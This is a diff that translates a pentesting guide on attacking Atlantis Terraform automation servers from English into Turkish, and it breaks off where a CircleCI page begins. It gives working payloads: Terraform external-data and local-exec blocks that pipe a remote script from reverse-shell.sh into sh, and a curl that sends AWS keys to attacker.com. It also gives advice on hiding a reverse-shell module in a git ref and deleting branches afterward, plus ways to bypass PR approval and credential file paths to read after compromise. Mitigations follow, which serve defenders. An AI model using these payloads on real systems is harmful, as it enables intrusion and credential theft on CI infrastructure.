+- Birçok kullanıcı, Atlantis'in çalıştığı yerde ortam değişkenleri ayarlar, örn. `AWS_ACCESS_KEY`.
+- Diğerleri, Atlantis'in çalıştığı yerde gerekli yapılandırma dosyalarını oluşturur, örn. `~/.aws/credentials`.
+- Sağlayıcı kimlik bilgilerini elde etmek için [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) kullanın.
> [!WARNING]
-> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
+> **Atlantis'in** **çalıştığı** **konteyner**, muhtemelen Atlantis'in Terraform aracılığıyla yönettiği sağlayıcılara (AWS, GCP, Github...) ait **ayrıcalıklı kimlik bilgilerini** içerecektir.
#### Web Page
-By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
+Varsayılan olarak Atlantis, **localhost'ta 4141 portunda bir web sayfası çalıştıracaktır**. Bu sayfa, atlantis apply'i etkinleştirip devre dışı bırakmanıza ve repo'ların plan durumunu kontrol etmenize ve kilidini açmanıza olanak tanır (şeyleri değiştirmeye izin vermez, bu yüzden çok faydalı değildir).
-You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
+Muhtemelen internete açılmış olarak bulamayacaksınız, ancak varsayılan olarak **erişim için kimlik bilgisi gerekmediği** görünmektedir (ve eğer gerekirse `atlantis`:`atlantis` **varsayılan** olanlardır).
### Server Configuration
-Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
+`atlantis server` yapılandırması, komut satırı bayrakları, ortam değişkenleri, bir yapılandırma dosyası veya bunların bir karışımı aracılığıyla belirtilebilir.
-- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
-- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
+- Atlantis sunucusu tarafından desteklenen [**bayrakların listesini buradan bulabilirsiniz**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)
+- Bir yapılandırma seçeneğini bir ortam değişkenine dönüştürmenin [**yolunu buradan bulabilirsiniz**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
-Values are **chosen in this order**:
+Değerler **bu sırayla seçilir**:
-1. Flags
-2. Environment Variables
-3. Config File
+1. Bayraklar
+2. Ortam Değişkenleri
+3. Yapılandırma Dosyası
> [!WARNING]
-> Note that in the configuration you might find interesting values such as **tokens and passwords**.
+> Yapılandırmada **tokenlar ve şifreler** gibi ilginç değerler bulabileceğinizi unutmayın.
#### Repos Configuration
-Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
+Bazı yapılandırmalar, **repo'ların nasıl yönetildiğini** etkiler. Ancak, **her repo'nun farklı ayarlar gerektirmesi** mümkündür, bu nedenle her repo'yu belirtmenin yolları vardır. Öncelik sırası şudur:
-1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
- 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
-2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
-3. **Default** values
+1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) dosyası. Bu dosya, atlantis'in repo'yu nasıl ele alması gerektiğini belirtmek için kullanılabilir. Ancak, varsayılan olarak bazı anahtarların burada belirtilmesine izin verilmez.
+1. Muhtemelen `allowed_overrides` veya `allow_custom_workflows` gibi bayraklarla izin verilmesi gerekir.
+2. [**Sunucu Tarafı Yapılandırması**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): `--repo-config` bayrağı ile geçirebilirsiniz ve bu, her repo için yeni ayarları yapılandıran bir yaml'dır (regex desteklenir).
+3. **Varsayılan** değerler.
**PR Protections**
-Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
+Atlantis, **PR**'nin başka birisi tarafından **`onaylanmasını`** (bu, dal korumasında ayarlanmamış olsa bile) ve/veya **`birleştirilebilir`** (dal korumaları geçildi) olmasını belirtmenize olanak tanır **apply** çalıştırmadan önce. Güvenlik açısından, her iki seçeneği de ayarlamak önerilir.
-In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
+`allowed_overrides` True olduğunda, bu ayarlar **her projede `/atlantis.yml` dosyası ile** **üstü kapatılabilir**.
**Scripts**
-The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
+Repo yapılandırması, bir **iş akışı yürütülmeden önce** [**çalıştırılacak scriptleri**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) ve [**sonrasında**](https://www.runatlantis.io/docs/post-workflow-hooks.html) belirtmek için kullanılabilir.
-There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file.
+**repo `/atlantis.yml`** dosyasında bu scriptleri **belirlemeye** izin veren herhangi bir seçenek yoktur.
**Workflow**
-In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
-Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
+Repo yapılandırmasında (sunucu tarafı yapılandırması), [**yeni bir varsayılan iş akışı belirtebilirsiniz**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) veya [**yeni özel iş akışları oluşturabilirsiniz**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Ayrıca, **oluşturulan yeni** iş akışlarına **erişebilecek** **repo'ları** da **belirtebilirsiniz**.\
+Ardından, her repo'nun **atlantis.yaml** dosyasının **kullanılacak iş akışını belirtmesine** izin verebilirsiniz.
> [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlanmışsa, iş akışları her repo'nun **`atlantis.yaml`** dosyasında **belirlenebilir**. Ayrıca, **`allowed_overrides`**'ın **kullanılacak iş akışını** **üstü kapatacak şekilde** belirtmesi de muhtemelen gereklidir.\
+> Bu, **bu repo'ya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir**.
>
> ```yaml
> # atlantis.yaml
@@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
**Conftest Policy Checking**
-Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
+Atlantis, plan çıktısına karşı **sunucu tarafında** [**conftest**](https://www.conftest.dev/) **politikalarını** çalıştırmayı destekler. Bu adımı kullanmanın yaygın kullanım durumları şunlardır:
-- Denying usage of a list of modules
-- Asserting attributes of a resource at creation time
-- Catching unintentional resource deletions
-- Preventing security risks (ie. exposing secure ports to the public)
+- Bir modül listesinin kullanımını reddetmek
+- Bir kaynağın oluşturulma zamanında niteliklerini doğrulamak
+- İstemeden kaynak silmelerini yakalamak
+- Güvenlik risklerini önlemek (örneğin, güvenli portları halka açmak)
-You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
+Bunu nasıl yapılandıracağınızı [**belgelerde**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) kontrol edebilirsiniz.
### Atlantis Commands
-[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
-
+[**Belgelerde**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) Atlantis'i çalıştırmak için kullanabileceğiniz seçenekleri bulabilirsiniz:
```bash
# Get help
atlantis help
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
## --verbose
## You can also add extra terraform options
```
-
-### Attacks
+### Saldırılar
> [!WARNING]
-> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
-
-You can fix it by running:
+> Eğer istismar sırasında bu **hata** ile karşılaşırsanız: `Error: Error acquiring the state lock`
+Bunu çalıştırarak düzeltebilirsiniz:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
+#### Atlantis plan RCE - Yeni PR'de Konfigürasyon Değişikliği
-#### Atlantis plan RCE - Config modification in new PR
-
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
-
-You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
+Bir depoya yazma erişiminiz varsa, üzerinde yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis plan`** komutunu **çalıştırabiliyorsanız (ya da belki otomatik olarak çalıştırılıyorsa)**, **Atlantis sunucusunda RCE yapabilirsiniz**.
+Bunu, [**Atlantis'in harici bir veri kaynağını yüklemesini sağlayarak**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) yapabilirsiniz. `main.tf` dosyasına aşağıdaki gibi bir yük yerleştirin:
```json
data "external" "example" {
- program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
+**Daha Gizli Saldırı**
-**Stealthier Attack**
-
-You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek:
+- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell'i içeren **harici bir kaynağı** **yükleyebilirsiniz**:
```javascript
module "not_rev_shell" {
- source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
+- Dış kaynakta, **ref** özelliğini kullanarak **repo içindeki bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- Atlantis'i tetiklemek için **master'a bir PR oluşturmak yerine**, **2 dal oluşturun** (test1 ve test2) ve birinden diğerine bir **PR oluşturun**. Saldırıyı tamamladıktan sonra, sadece **PR'yi ve dalları kaldırın**.
#### Atlantis plan Secrets Dump
-You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
-
+Terraform dosyasına şöyle bir şey koyarak `atlantis plan` (`terraform plan`) ile **terraform tarafından kullanılan gizli anahtarları dökebilirsiniz**:
```json
output "dotoken" {
- value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
}
```
+#### Atlantis apply RCE - Yeni PR'de Konfigürasyon Değişikliği
-#### Atlantis apply RCE - Config modification in new PR
+Eğer bir depoya yazma erişiminiz varsa, yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis apply` komutunu çalıştırabiliyorsanız, Atlantis sunucusunda RCE gerçekleştirebilirsiniz**.
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
+Ancak genellikle bazı korumaları aşmanız gerekecektir:
-However, you will usually need to bypass some protections:
-
-- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
- - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
- - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-
-Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
+- **Birleştirilebilir**: Eğer bu koruma Atlantis'te ayarlanmışsa, yalnızca **PR birleştirilebilir olduğunda `atlantis apply` çalıştırabilirsiniz** (bu, dal korumasının aşılması gerektiği anlamına gelir).
+- Potansiyel [**dal koruma aşmaları**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) kontrol edin.
+- **Onaylı**: Eğer bu koruma Atlantis'te ayarlanmışsa, `atlantis apply` komutunu çalıştırmadan önce **başka bir kullanıcının PR'yi onaylaması gerekir**.
+- Varsayılan olarak, bu korumayı aşmak için [**Gitbot token'ını kötüye kullanabilirsiniz**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md).
+Kötü niyetli bir Terraform dosyasında **`terraform apply` çalıştırmak** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
+Sadece `main.tf` dosyasının sonunda aşağıdaki gibi bir yükün bulunduğundan emin olmalısınız:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
- provisioner "local-exec" {
- command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
- }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
- provisioner "local-exec" {
- command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
- }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
}
```
-
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
+Önceki teknikten **önerileri takip ederek** bu saldırıyı **gizli bir şekilde** gerçekleştirin.
#### Terraform Param Injection
-When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
-
+`atlantis plan` veya `atlantis apply` çalıştırıldığında, terraform altında çalıştırılmaktadır, atlantis'ten terraform'a komutlar geçirebilirsiniz, şöyle bir şey yorumlayarak:
```bash
atlantis plan --
atlantis plan -- -h #Get terraform plan help
@@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply --
atlantis apply -- -h #Get terraform apply help
```
+Bir şey geçirebileceğiniz env değişkenleri, bazı korumaları aşmak için faydalı olabilir. Terraform env değişkenlerini [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) adresinde kontrol edin.
-Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+#### Özel İş Akışı
-#### Custom Workflow
-
-Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
-This possibility was mentioned in a previous section:
+`atlantis.yaml` dosyasında belirtilen **kötü niyetli özel derleme komutlarını** çalıştırmak. Atlantis, pull request dalından **`atlantis.yaml`** dosyasını kullanır, **master**'dan değil.\
+Bu olasılık daha önceki bir bölümde belirtilmiştir:
> [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
+> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlandıysa, iş akışları her repo için **`atlantis.yaml`** dosyasında **belirtilmiş** olabilir. Ayrıca, kullanılacak iş akışını **geçersiz kılmak için** **`allowed_overrides`**'ın **`workflow`**'u da belirtmesi gerekebilir.
>
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> Bu, **o repoya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir**.
>
> ```yaml
> # atlantis.yaml
@@ -286,99 +272,97 @@ This possibility was mentioned in a previous section:
> - run: my custom apply command
> ```
-#### Bypass plan/apply protections
-
-If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
+#### Plan/uygulama korumalarını aşma
+Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allowed_overrides` _`apply_requirements`_ yapılandırılmışsa, bir repanın **plan/uygulama korumalarını değiştirmesi ve bunları aşması** mümkündür.
```yaml
repos:
- - id: /.*/
- apply_requirements: []
+- id: /.*/
+apply_requirements: []
```
-
#### PR Hijacking
-If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
+Eğer birisi **`atlantis plan/apply` yorumları gönderirse geçerli pull request'lerinize,** bu terraform'un istemediğiniz bir zamanda çalışmasına neden olacaktır.
-Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
+Ayrıca, eğer **branch protection** ayarlarında **yeni bir commit gönderildiğinde** her PR'nin **yeniden değerlendirilmesini** istemiyorsanız, birisi terraform konfigürasyonuna **kötü niyetli konfigürasyonlar** yazabilir (önceki senaryolara bakın), `atlantis plan/apply` çalıştırabilir ve RCE elde edebilir.
-This is the **setting** in Github branch protections:
+Bu, Github branch koruma ayarındaki **ayar**dır:
.png>)
#### Webhook Secret
-If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
+Eğer kullanılan **webhook secret'ı çalmayı** başarırsanız veya **hiçbir webhook secret** kullanılmıyorsa, **Atlantis webhook'unu çağırabilir** ve **atlantis komutlarını** doğrudan çalıştırabilirsiniz.
#### Bitbucket
-Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
+Bitbucket Cloud **webhook secret'larını desteklememektedir**. Bu, saldırganların **Bitbucket'tan gelen istekleri taklit etmesine** olanak tanıyabilir. Sadece Bitbucket IP'lerine izin verdiğinizden emin olun.
-- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
-- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
-- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
+- Bu, bir **saldırganın** **Atlantis'e** Bitbucket'tan geliyormuş gibi görünen **sahte istekler yapabileceği** anlamına gelir.
+- Eğer `--repo-allowlist` belirtiyorsanız, yalnızca o reposuna ait sahte istekler yapabilirler, bu nedenle verebilecekleri en büyük zarar kendi reposunuzda plan/apply yapmak olacaktır.
+- Bunu önlemek için [Bitbucket'ın IP adreslerini](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) beyaz listeye alın (Çıkış IPv4 adreslerine bakın).
### Post-Exploitation
-If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
+Eğer sunucuya erişim sağladıysanız veya en azından bir LFI elde ettiyseniz, okumanız gereken bazı ilginç şeyler var:
-- `/home/atlantis/.git-credentials` Contains vcs access credentials
-- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
-- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file
- - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
-- `/proc/1/environ` Env variables
-- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
+- `/home/atlantis/.git-credentials` VCS erişim kimlik bilgilerini içerir
+- `/atlantis-data/atlantis.db` Daha fazla bilgi ile birlikte VCS erişim kimlik bilgilerini içerir
+- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform durum dosyası
+- Örnek: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
+- `/proc/1/environ` Çevre değişkenleri
+- `/proc/[2-20]/cmdline` `atlantis server` komut satırı (hassas veriler içerebilir)
### Mitigations
#### Don't Use On Public Repos
-Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
+Herkesin kamuya açık pull request'lere yorum yapabileceği için, mevcut tüm güvenlik önlemlerine rağmen, Atlantis'i kamuya açık reposlarda uygun güvenlik ayarları olmadan çalıştırmak hala tehlikelidir.
#### Don't Use `--allow-fork-prs`
-If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
+Eğer kamuya açık bir repoda çalışıyorsanız (bu önerilmez, yukarıya bakın) `--allow-fork-prs` ayarını yapmamalısınız (varsayılan olarak false) çünkü herkes kendi fork'undan sizin repoya bir pull request açabilir.
#### `--repo-allowlist`
-Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
+Atlantis, `--repo-allowlist` bayrağı aracılığıyla kabul edeceği reposların bir beyaz listesini belirtmenizi gerektirir. Örneğin:
-- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
-- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
-- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
-- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
+- Belirli reposlar: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
+- Tüm organizasyonunuz: `--repo-allowlist=github.com/runatlantis/*`
+- GitHub Enterprise kurulumunuzdaki her repo: `--repo-allowlist=github.yourcompany.com/*`
+- Tüm reposlar: `--repo-allowlist=*`. Korunan bir ağda olduğunuzda faydalıdır ama bir webhook secret ayarlamadan tehlikelidir.
-This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
+Bu bayrak, Atlantis kurulumunuzun kontrol etmediğiniz reposlarla kullanılmadığından emin olur. Daha fazla bilgi için `atlantis server --help` komutuna bakın.
#### Protect Terraform Planning
-If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
+Eğer saldırganların kötü niyetli Terraform kodu ile pull request'ler göndermesi tehdit modelinizdeyse, `terraform apply` onaylarının yeterli olmadığını bilmelisiniz. [`external` veri kaynağını](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) kullanarak veya kötü niyetli bir sağlayıcı belirterek `terraform plan` içinde kötü niyetli kod çalıştırmak mümkündür. Bu kod, kimlik bilgilerinizi dışarı sızdırabilir.
-To prevent this, you could:
+Bunu önlemek için şunları yapabilirsiniz:
-1. Bake providers into the Atlantis image or host and deny egress in production.
-2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
-3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
+1. Sağlayıcıları Atlantis imajına veya sunucusuna gömün ve üretimde çıkışı reddedin.
+2. Sağlayıcı kayıt protokolünü dahili olarak uygulayın ve kamuya açık çıkışı reddedin, böylece kayıt üzerinde yazma erişimine kimin sahip olduğunu kontrol edersiniz.
+3. [Sunucu tarafı repo yapılandırmanızı](https://www.runatlantis.io/docs/server-side-repo-config.html)'nın `plan` adımını, yasaklı sağlayıcılar veya veri kaynakları veya izin verilmeyen kullanıcılardan gelen PR'ler ile karşılaştıracak şekilde değiştirin. Bu noktada ek doğrulama da ekleyebilirsiniz, örneğin `plan`'ın devam etmesine izin vermeden önce PR'de "beğeni" gerektirmek gibi. Conftest burada faydalı olabilir.
#### Webhook Secrets
-Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
+Atlantis, `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` ortam değişkenleri aracılığıyla ayarlanmış Webhook secret'ları ile çalıştırılmalıdır. `--repo-allowlist` bayrağı ayarlı olsa bile, bir webhook secret olmadan, saldırganlar izin verilen bir repo gibi davranarak Atlantis'e istek yapabilirler. Webhook secret'ları, webhook isteklerinin gerçekten VCS sağlayıcınızdan (GitHub veya GitLab) geldiğini garanti eder.
-If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
+Eğer Azure DevOps kullanıyorsanız, webhook secret'ları yerine temel bir kullanıcı adı ve şifre ekleyin.
#### Azure DevOps Basic Authentication
-Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
+Azure DevOps, tüm webhook olaylarında temel kimlik doğrulama başlığı göndermeyi destekler. Bu, webhook konumunuz için HTTPS URL'si kullanmayı gerektirir.
#### SSL/HTTPS
-If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
+Eğer webhook secret'ları kullanıyorsanız ama trafiğiniz HTTP üzerinden ise, webhook secret'ları çalınabilir. `--ssl-cert-file` ve `--ssl-key-file` bayraklarını kullanarak SSL/HTTPS'yi etkinleştirin.
#### Enable Authentication on Atlantis Web Server
-It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
+Web hizmetinde kimlik doğrulamanın etkinleştirilmesi şiddetle önerilir. `--web-basic-auth=true` kullanarak BasicAuth'u etkinleştirin ve `--web-username=yourUsername` ve `--web-password=yourPassword` bayraklarını kullanarak bir kullanıcı adı ve şifre ayarlayın.
-You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
+Ayrıca bunları ortam değişkenleri olarak da geçebilirsiniz `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` ve `ATLANTIS_WEB_PASSWORD=yourPassword`.
### References
@@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index 8b8a1fea1..9e41b040d 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -1,259 +1,235 @@
-# CircleCI Security
+# CircleCI Güvenliği
{{#include ../banners/hacktricks-training.md}}
-### Basic Information
+### Temel Bilgiler
-[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
